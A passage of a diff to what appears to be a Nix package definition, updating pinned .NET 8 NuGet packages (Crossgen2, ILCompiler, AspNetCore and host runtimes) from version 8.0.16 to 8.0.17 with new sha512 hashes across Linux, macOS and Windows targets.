         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-jBdU93KORqByySIYxL9FmzjC36WNKQ0HcGT0EkvwTmHh0CxpGVoH5icQYtZK66liLsLbgR1B654GpISLsOvVJQ==";
+        version = "8.0.17";
+        hash = "sha512-8NI7LrwgScvsfnIvIutWgDBNZv52afHUqTkQhiOYXg7kRUQ9VQsrV3wR+hnHo/WGlSibGcNBHz9hXRXGL3PApQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-CAnPoJS//D5PAZlA+/4dHGBP7RMdoo0kmG2kUOw0muB+bqsXIQ/Wdw4ztrgPC++BZlkwL9CLWWNk+fW/8mAuKw==";
+        version = "8.0.17";
+        hash = "sha512-qNBOlNW0AVi2ZzOUgYpQIwr8ZFkY/64+59pYYwG2+SMtkwTJdOYTNX9N03gODk7tUsIzJpZ7aBLo6KKMXgRX/g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-QMSFoSYbn3TUTWVnr/1ViHjgOhbKaoYwUrSXxxrlPdOBoV1rL6kwF4loEF49+6y7Ty1Q/Vl7ZvePYi9GbQzooQ==";
+        version = "8.0.17";
+        hash = "sha512-t5PXM7/aThrr95wvivIB95usffttNzSxLKlCH/6breXbQ4pVVD/rRIvfQbsC+z5S3cqkyfr7bcbqdevY2i7zzg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-7jFOBzAAjlw+RW85zQ4kuHw/BL+4RWxC9KNBfYUyOkvqjxhlTAS3oIO92myQsjEmm0VSrxck5HnTytcc8kxyiw==";
+        version = "8.0.17";
+        hash = "sha512-MIU7+TheXyNxkcnDwBhQMLc09/id6XFqvxpZZqMQ84UH18/56YAxsPmZdkKPCXTmQhcPO45//vrDYP0FfrRHLA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-kOC6DR5x2UtVDPDzwj3ULdvl27F0Q3rRZWId0d67tgqWCbp1dBf0RGounczSKP7J4c1CahnBVXTuzf/WznOYsw==";
+        version = "8.0.17";
+        hash = "sha512-2Pg0cRKKLlIs4ZJP3p97BYAXG6Ttnl/4xC0EMqvpiigljSSc/4loJpEceFjA9SEcBISRtm0yg5tB9CKUY7JGAg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-MZYQ4BYONhcpg07DLwMTG6HlAo+Q8m6pDwho3+G/YUrajvoMHbg3Y2Yw9XvLoGa5Cw3dUXa0eWiqx3pOuLuFpQ==";
+        version = "8.0.17";
+        hash = "sha512-SrlXcJ/A68zSy3e+NOYPB+7BCjjKE6QjSxKEAkdaNBwBBPvMC94tnYUDxKhES/6Je9guGE4LF/A2nEe2RNeejA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-jjkFD9g7N969HqTen91WEtcI7up91yKjR7C5S3BEzMpPDFJO2Y7Zuq3/8fz/h2emh+BQUYcSVBDHuOsfN01QDw==";
+        version = "8.0.17";
+        hash = "sha512-FAOcrRdUyHU5QBDf+4GSjyTPb0nw+NhdF4hkQjsKuzlmUdbY7jbsEY8xr8nfOw+dnKNcj+4N0VGlqKT5zKnZOA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-+1sNjZRW3W7rPdIyxBKO4tNU/DXwpQ6d1FmfEqnVJbE5bFEQ+5WALIXP/0TGMI9U3N1xwRaHoSXVvTvSdw4wbQ==";
+        version = "8.0.17";
+        hash = "sha512-YJib2fbiDQeWrEoAVAyVBa+ASWXJqjHyygr/9N9qHWAIuQn4F9PBkJs90ZBkEGxFhLGOsV0dLv3QSSfn9G9anw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-ZdKdJXNFjLJYbsiGn4v/l9fFh2tysHXsNgkThb8PGjCparmv7RoNOq2ledsZBNAcWhHMU+B64tWFiix1rGNbkA==";
+        version = "8.0.17";
+        hash = "sha512-9AZNX0abD5AXz0PARFGU5N8jxBeuEAreZrMcsjuWqm+diyA51LCWJeGkG0HJ1XV88G9hSLn3gTCadhPKiYe8yA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-lzi29sKhg5QjgPf9NTexxX37iYqQUagpiPq0OT6fmVNfCrnzcAjYjA0klEAZlGE/0Brh3dhmsKUsXEZy8p4sEw==";
+        version = "8.0.17";
+        hash = "sha512-W/OdiSQkTscKsj2LZ6/Js80unCUQeQFPFUheOIayF0jeXZxBz2mgCv1W2bL2N6dQu/XzY+rcdAVaK84EctpyBw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-Hv957R9MMq2DFCVuf0AiX82IkAWnJ4sDr5anJwzoCQRgTsXqwg8u5jqjDE8Wo5YIK86muWeNgk5DV27j+xsrfA==";
+        version = "8.0.17";
+        hash = "sha512-Ld0Qg6YLHXSqbizrz4a0ycPfuty79ZK4zwAcguHZNS3GplRI9yJPbv/XXa7ENiSMOiFTWZjCpZ9mMTkJkLj7JQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-BP7m4CEg5ggvyBDlWVVbQBlU1T7Jahnf6+Emt/3w3aXbdNp4AD+1jcJaaIXV+/A1hru5H9hmSsiIEuJsCjbEGw==";
+        version = "8.0.17";
+        hash = "sha512-5sPZOZbgvw1k9mDnT0sQgYC9L90+Th2RlZquaEK4vYYb7NqwYddV6iipqF9zghrMzztK85Pym2bJZlKSn1fjsw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-aRrl44G7/Vjy4AdrPEHIDefm5ew0VZXNq7GPaszXq846V38VnJhAU6zknNyBqlYzEAtNSyCaBXKtPrz5LsxqKg==";
+        version = "8.0.17";
+        hash = "sha512-w7EnpLx0V3N70/DdDyJCQV/rF4xtUTNKX3Ii4le1dTb7DxvqkplJ9Vf2y7l50i4dW8UEKtdfBED1BUGJiDx0Fg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-uk2pxu2NzxhLIdy85gikp6OCBUMYeTPCYt9BDQefc0G6eqaEhPDloc+WocqWLYs+vX6IM3qEhL41aYaY8KnZQA==";
+        version = "8.0.17";
+        hash = "sha512-hR1mk1E3E8bXdt0q1yFkB7HlT5vJ+BTbrNswKt/BivmT3/qgjTAyJI/24FNkmPKg6e+k2+stvV9vMxFjNWcWbg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-m6WHjEfXIHp+h+q4KSWknLGgM+zfyDF3P2GSftA8BA2/u/HD93CK0FxatQR6m8YB6Bd9vpx1kUNVqBqmAmuObA==";
+        version = "8.0.17";
+        hash = "sha512-F7MdXMz1cekBW9GMQ+U2CuFoMpBcAgkecJgZt96YfJEyCXVJotmGTMHB2pYoGBz0TU3307tg5JIfUd2d2Jj34Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-HCWrW2RPsSmsoVvHW1oh9vogOeqNLqmseahNP6HJbuZVnU3pw20nvHBm67547Upx3C2um0Y2Eix4UOwUzmAckw==";
+        version = "8.0.17";
+        hash = "sha512-wgx1oeWwzdttunh9nnm4HXv6REofxaCTzmlBGgffonufjSK4vkzr/dLsq5bkV7Sj+/5sOc6qLesIwx7nUChllg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.16";
-        hash = "sha512-bt6PWTJmhE7GdZBbF+Dtue0cGlvZ7ihUSLivLxpoHH3ANwITJqnyPWllxrfflrDfLCaDBE6WspQ4jeuepiqShg==";
+        version = "8.0.17";
+        hash = "sha512-ccX5RLNKPjmuagvmwkiONFgZuJa7qWFGCPjDm9WSK4efJ6CYFcNJmfTLHQMZ+fgyGzTnD2A5zMP/0Ot1o7xQEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-erkrCvfM0GCpctVlMtRk2nwDkUhFWjcTg3stKRDK9ALvtgNVICghe83UciBKlCvhmq9BtwrEECrqst9nimTeZw==";
+        version = "8.0.17";
+        hash = "sha512-gqi233hXdnvcE7McL/G+TR/BN+MYrmau1vL1E2uXmtdE+GB/pPWQXzYnxAeRM6jbC3ku0YKsAk+5lnRaZ5dsXA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.16";
-        hash = "sha512-OPX3Dr6avujuCFr++QsKO0M6wmldtpNVoOLw/vuAfx4os8iMjD3/0e2YhLNPakFHXm3F7tAs9ArSFcrLISClQg==";
+        version = "8.0.17";
+        hash = "sha512-VsSVyCQbOvBD5tFuWknajmz57qGHqwP7Pvts+o6SJ5UEUSTPPlzREqSfb1oIntmkFgfFGOZdc/MeL2hIQdADRg==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-zQtpJtQsIwiRioQqNHA+gyfYORoYk96PJMd20S3dJRTms9zJarx44X9gtZCHxXeR1D3/XfKKAwASfTV87EsM6w==";
+        version = "8.0.17";
+        hash = "sha512-u9hkQnH4virFn25AXmV9TLhpuRXfXiBmx/q+uSWaBz2CZmT/EY6e0kRL5gg57gtlfkItKg5rgXnClk2gWvmIQg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-fXnAL3PgEji1ztgKsuqXfuV56n2FZEzVgHX9R2HSsV1yEfAypwHDNYzB7bW+dcWsmzijD4f60UJJOmlYuY8sNQ==";
+        version = "8.0.17";
+        hash = "sha512-0O+bU5EYdrFo3W0z7kHqfzV8r+hr/mboeekd/ObmPERfXYhn64W3qI0g3YfO+KHWiCD3rTju7gM0odZXXFu6xg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-DV5JG9tZMaGgcT3sHWriN0w3drMJ6kEmYFKHyt70gt0d1aBxhZrWsdjAq2oVMSY4qlWyIszrQff4MObBWRluyw==";
+        version = "8.0.17";
+        hash = "sha512-bJUphLGlvIBzrN/VwTEJnrI0ul7mm1GiG5HzthokhjE53M2hdPw1jFEpp9A2wFOHAuj7rTJFfkJwyrmVoL2TKw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-ZOM5DcPvB0lfJwbt3kNcs6fS9u/58UuqV9FjodMc2vdDVhwicmolnvEnsuV/Y+3Yh9qLTGh3H1XY9IeIuvelcA==";
+        version = "8.0.17";
+        hash = "sha512-UOJ/eDhYZLsxGAWndocXEvpsKhxK+qkpTz6rBhsfLzJ0JMH3sYqSO4JDJV9rECYrkrcMbI4DjMJFQL9iNmyQTg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-3CQk9N/l9/3nV6tgpiedyqy+oNFL7T7WNPWF4whUGm7yLkJsoFtw6Pc5LwyT3OYyiXdEnPbAkDBQuNpJ+zaBkA==";
+        version = "8.0.17";
+        hash = "sha512-SHuKMrh4ogiLsi6KGG5ziwKdu7ipPWKF+pjNi+lpXOhaSquyxiOQUSaHn+Cw7gIpunuJbnpHmWjSh3KSYgRxSA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-I7DsyLTf0ZGXu9L3D6iSp2dw+PkuDBa+vqvfl0EdSRjgE16nraXjVGh/SK2ASaJi351xbboEpRqewZcWTCKxWw==";
+        version = "8.0.17";
+        hash = "sha512-n8gVagaXe5iFgulX7xVJBCV7YHYuaxI8+ExUb2mRqFJ6Ova8Z99vlqANna8PiGbkVzy6FqoS97gguMfa7eXnkg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-7h6k9pSSvDXC1TtcmKykPg0Oz3k0MNfahqQpBQAEtxZ4xVCuGk0rkzheWqvbLSehVIk/9PFtu4ZeO0dH4rEgBw==";
+        version = "8.0.17";
+        hash = "sha512-Xij6YAKzsmctbLeLJES2CKFnACvnCycv8EMOPPu7DcNnYHg/OOsUe3ObfXeKU5yhCW85wSM2NFwPiv8eO9Xe/Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-YBhocmkKTz5ABulIf3WW2NjH85W4O1CVysmY1LgWCMlTAX1uw0MRaJMtXUR7COZLHbHXNAPD7FNwuuYMgmIhUw==";
+        version = "8.0.17";
+        hash = "sha512-7AEQKppA6Meq5duC4IrlJgoyfwJLNpsBtbFfaoKhUvvPfyPjpI6rT1GtXVafMGeclVEMjW56PPv6W9kSHTD3GQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-6ju7d3rPYcKBvwZKr/z2RQ3ctBczul4JO55fttyOA/oifm1LUAY3TJtgagAF9pf4j5HuCoXTzvV00ZZEqtXLPg==";
+        version = "8.0.17";
+        hash = "sha512-HJ/MHBFPWz0jeIW/8uoqHi0zmw/pY8SafYfG1l7I1vQhO+scdPp+W2dWFyPT7atiOubc1JC+ozrA3E4bLguZmg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-15ih5bce3YmsSs9MFp/NH4UY3/UMMyRs+4TKWolHguVkNbPcYdWg8YL0Fhr4c7A7wAnDHhCCgSqmcOFYI4N1/g==";
+        version = "8.0.17";
+        hash = "sha512-zcgek5WOy0/XY/kRbE8DQpRM5zdDWlO6JV1bfST6hKlawEeMX0h+Amm1VdYA4SxHehgPuDvMM9NQo0MLUOiMMw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-MGj69hsPIe4e5Z6HXS+T2KplPzuZqETZLSP1oftted94gXOO1KOHJoDd2VbBVBpooMfqaeXUdw1NtgdS4NDLJw==";
+        version = "8.0.17";
+        hash = "sha512-oFYo/d2Drv7914y3mzKdJ/18Gshple5H0FRsXUvCLWThrlYCFyjyhmEyToOMXLFHP1HWQ19xAzZPs9pN/AtePQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-XwkekqnJyq3V/rXSu1WZlxzihsjvNV4ZbTQnb46583LeUJbG1o3ra8EofvxA/jA+ryXMpJxaQmVRNODJy1kIsw==";
+        version = "8.0.17";
+        hash = "sha512-/E7gmctuYf5c45e5VREjE+BvVrVDX/yHoRTpCpeb89TE/a4q5BSxRNutlNlR89JKGRNEN5hKOGSpixNN30NJPg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-wZCw0LIMH/WIDqiIU8zHyOg+EWExwu3S4T1JMTd6xra7HXGWlHQKj14A6P0d946lOVqjLxfW6IZXdgmALTan8A==";
+        version = "8.0.17";
+        hash = "sha512-DeNAP4VlvWX4hCek+RuQgt0C+QYBTpY8LBbIer9S1QXH4gM28BGtOzBUW5xeZ2nUik5QpP3hKPQk9UHnJQ8ABw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-9u78cVhiXQWJQsE2xxGcx2hbvaHImV1RcwtxIt9jjhh20SFJ0SoK5idgSbSh5q/63WfMoWKHPOkT5Er/whQ/3g==";
+        version = "8.0.17";
+        hash = "sha512-Aas+h9qheCOnTGOclCdfq3FeqTQN9+qhw9v5Wc3UhMt5hxkljzRhMKWPTNokM+erTb62C0RfFmNnEcUmm1M9fw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-4PjcN/ILs694XXBFjzrxqBsqzqAAU3UwwPkn/DmZYgG+oCvNhToiFYMOmHRSR08s+bHevGbDkpC7tHAS+S+UCQ==";
+        version = "8.0.17";
+        hash = "sha512-Gg4T5ZJNQO1Ov8X3qB0gT5Nd57bD1uDgJFChmpdb/qRj5c6mHN42Nz1POnvz/ZxyIBZqTXSAK/Sh7hYwhnO6Cw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-qHM2tlnjKfDdZ6HWLQ3Ffo2lIgW68VY4cAy49Wjhj7k2dGf8Aj16bWpDxo/WEd9PrsXeKaggdFTHwsv82lpDZw==";
+        version = "8.0.17";
+        hash = "sha512-u4SWuPRUXOxPTwHv6V2ePpZFw+D5/mE+zlq+vgk9B0odHvArhLFBsxSdq2OVzjx7T6OXnm664ySu1mWuZiRtLQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-2/VRY3SLruFnV2eziW5dl5KgIzB6mIqXfPD8A0yLQ4+0iYqnU5jjCrhSlvcy2xtH+tqkq4DAjSoJ83UjZoxg4A==";
+        version = "8.0.17";
+        hash = "sha512-ksN26mFXeA3pkdTQIuhEbODXXhTgA24UoJLaj02Jr3OezARLCRs/kg4FIBpazJ2I0xI5oQPe0b8BiGQlW6Vt6A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-Cf3ePr98FaAHMX7mTGTEHMHHPvLlar5MktJIHJFda37u7RX4UYDABk1J60EdOUdXmhVQQ5gxZyBlD7Zj2ZjQaQ==";
+        version = "8.0.17";
+        hash = "sha512-SXqdnf+0qa3qjodEeBKQyjK1EOh50Fzymiz6PtOfWkcAESLXlE+UtImtxuE9tvjUwjBc2Z1zeiCyaGOhpVzh3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-13QUsacD+oc6WO516SyH1F2d+QgfFMGzdzIEMMZEDNKCYSZuYDL2R6Qs+9kTfiFHZgt7P/WAAA3UV/QxlxlQQQ==";
+        version = "8.0.17";
+        hash = "sha512-7bIfsRP0cumDeTb+iOYm7+gnWLDx4nJcpM3OrkAjZS14CmQfWzXckmspd12sOHBir3gJaJiBLn5IOhuneoN2lg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-6/l2nBV8h4meBgQPsthQw69pZJNSmbtmLGKaHPfzIlPHD6A2zI3rVjvmgU8Ahn6rL6/TnZTpC1KdaWzRCsdGZw==";
+        version = "8.0.17";
+        hash = "sha512-ISu7M97fzDxM+s5dlutK/xuI0xj6yOAFgTZ0F6EZSMmwoNRN/SOXFtwnMQFoDCyNsTFP1RRIyHB2GHBnWzkeeg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-lFK5CU+pkCWqr/mmRec63X+tdF01eZmaOcdc6K9lTV08hS0rPl2F1UK1RmOn1eZSMD94w2M86LZKZNLwI5E5FA==";
+        version = "8.0.17";
+        hash = "sha512-FPBQGj1ec4f56WOS2vaKfQcu3ddB4N6aiW9ptDGnLslTs1SqLs5ROthMmGSptfyXVMaksbCQ36Dt4FlfKaQ0aw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-UiaOuNRso4nVM1DzBL3i98WR9gnLg+DnQaK9ZXVu+jXsQ/19Fi92A3Lar5H2WIbtaQcngbYCG2HXRkVYdtHsUA==";
+        version = "8.0.17";
+        hash = "sha512-JoUr84iXSEzSt9qob5wFYBdvG1d0OalPBqMHKUM/W0MoAmvrAB7TynbY62B0xB/pH4u2th41AD0teAqJrFWLCg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-TqzAj3Vdql+FVkkAvrCVADoCfjBkryuFuYNPI6VnriQgMBHPbeD+In9hqrbMdmjTGtdXMbqVYSZttlJwvwpVaw==";
+        version = "8.0.17";
+        hash = "sha512-VlGSzLStxk86aalHNQ7lMcr8KaZ2OyOqklv1rXT92cwPpkY1+F/yrCOa5w4OIKL9CmPPfOgCvhTYq0sDPeKiSw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-xUyQ40LnE8H82Vi8wU9zKjiW+u/nsOnyKYUnPnEWhDvpF4xsJOC2bG7d8zXYKhFGGbBw/nCw/b/alhGzIfy2Iw==";
+        version = "8.0.17";
+        hash = "sha512-QprkNU0qUh1rafUqBtf74gHyBv333CUbWqAlet4lfMGO5fUkriLhvckuRYGwAdB9UuN/p1gNqHeMBddqwrx62Q==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-peJrVIokSCtP06QIUP5YXSPDysocDOaMFwnFWDhNqD2qZFluJVxTxS16WHBNRhZphQ05CflNH0gq1HMpSeV5Jw==";
+        version = "8.0.17";
+        hash = "sha512-4gpidP+3KgWOg8V7X3QZb1bHRY6DuZq7k9JgUETydSL7s9oVKEF8OU6Uuajmxn5q2HjTII7UO+/Ost//wXxJgg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-HTIcDrg9ZYCTRZv4nSftTxe7UhFYomff2fMVqRsX/4QBgeuF72KIbvAihv4wPBDNh6RSAC+qPVtZXZCtJO0AEA==";
+        version = "8.0.17";
+        hash = "sha512-fkY3BYk1K5zhi9MDTU/+oAz1o7+BzMaghJf7wDAnrIa0Uv8rHH6QFlUktqL2XTQaQyFi9AHKRwk6+qMVNMygjw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-9Wj8HvYDiJ6YEqFtyTnxeKKHtCSI1PorGAsuuA//jCqX2WqEEt9+vVcCZLs3ge0S/3vEwELeu7xPXabAwiIsyA==";
+        version = "8.0.17";
+        hash = "sha512-eIlHY8UjZ0/h9fB23z60HXc0ZZgHsysSTivqkO7TEajctBS6INfqvCqQ5xJsM/3al61rZhZdJdIuIg0mQ7ZuYg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-RfJHtnXtwALzUNOvG8FVqvfEEhAQ+KzgzTK1p+hf3qA+X79iA9Rwq9dj6RHE8Fjt3FMXb+8inialcu6/+7/Lvw==";
+        version = "8.0.17";
+        hash = "sha512-UuP+BTHKYuNk9efX3dLcnqH+tK4uCObd4a3JH4was5IP9lrPlTst4shN+CrVASQZ3+1Mv+ofQCQzYF42sRN6yg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-V0vfD3Z+O/2atM3bJivfm/BKo5QUSaqroFHuYi1jVilICslvVoDfKood5wgUX91T/TKkVzGG5kZknxgaylw1AQ==";
+        version = "8.0.17";
+        hash = "sha512-3zek/zAOEojwKUANBjeWlnsPyWbbavnJ3o4VHMdmKR2dRk5TPU1oy8DC7vVk+rd1J0V6hrokxagxYL1+mh7sMg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-GpOecd88g22c3eMXwE6N4fa+dODPrMyC3xkbMOivdqH1Gt6Qmj/VF3OwnwhFMaaWXILCI7wkU558D5mj2IcbLA==";
+        version = "8.0.17";
+        hash = "sha512-OT2bIhD7vAgcGQy3T9wAuhCch7euvV7LTM9u06XVt8PfBe7ws2//NWklbN205WxR/+zKw9LA+WV0+ZluaWPwBg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-+wj+u4y2B7RI6FbkJJN4uKtkJploawLSRUc85tHfKSRd/VWUVrg+NQ2Ii4YADE2aaP9x1yVJRei8tChJm9XHaA==";
+        version = "8.0.17";
+        hash = "sha512-XIJ5AewwwMSntIdaU9wjGq5nnC7pt4Je2rOT3caGAZVUbMI+TLdzjGC4ySIG4EzHNdb0ioazDlpm59XYxFjtyQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-N0D3EjGiPUbiA6TscqS8k2F7DqZqtjYOfFQ+PPfDWAiGP0/UvuX2HtOYxEALNUGzn90KtMXJUBfI/sKjxCQp1g==";
+        version = "8.0.17";
+        hash = "sha512-Hi7EwkTaHTX+ORY78yBJfQIa0Li6QTM+bCgYwiJS5piw4mNbtsqg8JnzMTBTyL8RcC2Az7skktgUqrnQYPbE3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-x9FtAd5kb6DbrUSLYtJ9cKog1Z/709IzwCPy7eG1RawnUP2v0Q0tdJOXdvoaTyVgsbW/NEgvJVd3ngP6SauIIQ==";
+        version = "8.0.17";
+        hash = "sha512-A4YO9NwkU6D/STwctlJU1W5uoGbSX05dWd2hQfriwS+QvSJAVHJfiuCd/obr+K6caCBz7QaB4atsbObXye/upA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-GiTTne4boLVAyJ0CJDbpBWZw9oA6+Rg3e2h38LwfzF7kS1jPZbc10igA9ZsnUCOYAFxzWzNi70Bb5icTRRBSjA==";
+        version = "8.0.17";
+        hash = "sha512-aziQHkE0YNyxANTFVFO1+j+NiAuqIrQLWua767eM+XCgwkdYd+SuuT3dDk83QJnFqHrLsoztdnFkmG0RjiJmKQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-nF4234V77TrV7JSbSx34EuMl4qnyfODinwdSpZ6uX0MKUEwk42G8MT1/gLZBp8cvGv0I6Yg78+E/39Zd82RQBw==";
+        version = "8.0.17";
+        hash = "sha512-HMJ43Pe4Bsk1RrKocroaQztnSZacp2KR9Ens5hf/2A9M67ag8pE9AC27Jnsm5123wYnK97MuLa1EhSzqjUJ3tg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-VCfPdIVCm8hIp8XaaPw4vg7eRuS+UQhST5xuPHbw+v7wInifU56jkapE56+c3TB1J0QoyUUL527sp15QqugXuQ==";
+        version = "8.0.17";
+        hash = "sha512-76AdyyHdR+8w/Tf+eYbV0QAxceqvyAc05W0tWv/L8AhxH8DEdsv1RyXx1jTySd+CuGyTbb0Bmwd7NUdK7XCWJA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-MofzgXDj9xPc1cm9RpzvOMeBLqfQEIOrctQMauI5CvoH8cVZdQWEo7EDCkWiJvKJjBKhStQ8PFiJGymmf0aPsw==";
+        version = "8.0.17";
+        hash = "sha512-F4qOt3rF+aVxj+cMT04cc9GsLEhdcM36I7rAB05tHjxpYum29Cd52UL1E02n+Cb3AMWaOkFm3uZKbnuWHhCOMA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
